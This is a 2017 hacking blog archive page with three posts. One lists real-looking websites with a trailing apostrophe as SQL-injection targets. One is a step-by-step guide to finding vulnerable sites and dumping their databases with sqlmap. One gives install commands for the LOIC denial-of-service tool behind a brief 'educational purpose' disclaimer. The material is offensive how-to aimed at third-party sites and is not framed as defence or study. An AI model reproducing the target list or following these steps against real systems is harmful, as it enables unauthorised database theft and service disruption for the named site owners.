Posts

Showing posts from August, 2017

SQL vulnerable sites (part 2)

http://www.clearlakecountry.com/shop…?categoryid=24′ http://www.plantoysusa.com/catalog/p…il.php?id=6229′ http://www.edgegalleryllc.com/press-releases.php?id=25′ http://www.sunnysiderecords.com/labels.php?labelID=3002′ http://www.nutritioncare.net/pages.php?id=26′ http://www.claycountysd.org/view.php?doc_id=310′ http://www.coreknowledge.org/mimik/m…&record_id=168′ http://www.sunnysiderecords.com/labels.php?labelID=3019′ http://www.uarkcomstore.com/cart/loo…tem_id=4910051′ http://www.karenginger.com/section.php?id=4′ http://lhgroup.com/section.php?ID_sec=2′ http://www.shopaware.com/product/pro…ail.php?id=134′ http://prayertimes.info/detail.php?id=30466′ http://www.worapongengineering.com/p…_pop.php?Id=32′ http://www.indypeer.org/show_file_page.php?file_id=58′ http://boxofficebuz.com/news_full.php?id=36′ http://www.austells.net/news/news_full.php?id=24′ http://www.luimo.org/curriculum.php?id=ST000036′ http://www.onestops.info/category.php?cat_id=1′ http://www.onrad

How to SQL inject a website!

Pre requirements: SQLmap or Kali Linux To begin you need to find a website that is vulnerable. To find one try using search terms along the lines of: php?id= , login.php?id= , index.php?id= , etc. To test if a website is vulnerable you can add an appostrophe (‘) to the end of the URL. If the website is vulnerable you will get an error that looks like this: http://www.xyz.net/inventory.php?id=173, or similiar. Now you can go to your command line and type: sqlmap -u (URL) –dbs Now you will get a message like this: available dabases (number of databases found)  sql vulnerable sites [*] database 1 [*] database 2 [*] database 3 note: the number of databases may vary now it is time to scan a database to detect tables. To do this type: sqlmap -u (URL) -D (choose a database) –tables Now you will get a message like this: Database: (the database you chose) (the number of tables) tables +———-+ |(table 1) | |(table 2) | |(table 3) | +———-+ Now you can check a table for co

Ddos attack with L.O.I.C (in kali linux)

Image
Disclaimer : This article is for educational purpose only. Before performing Denial of service attack. There are couple of things i would like you to know.It is completely illegal to perform Dos attack on website you don't own. Perform dos attack only if you have owner's permission or use your own website.If you do you do at your own risk.I will not be responsible for this. Loic does not come pre-installed in Kali so we have to install manually. First thing we need to install is monodevelop which is used to compile and run Loic.Loic is written in c#. Open your terminal adn type the following command. root@seven:~# apt-get install git-core monodevelop   root@seven:~# mkdir loic   root@seven:~# cd loic   root@seven:~/loic# wget https://raw.github.com/nicolargo/loicinstaller/master/loic.sh   root@seven:~/loic# chmod 777 loic.sh   root@seven:~/loic# ./loic.sh install   root@seven:~/loic# ./loic.sh update   root@seven:~/loic# apt-get install mono-gmcs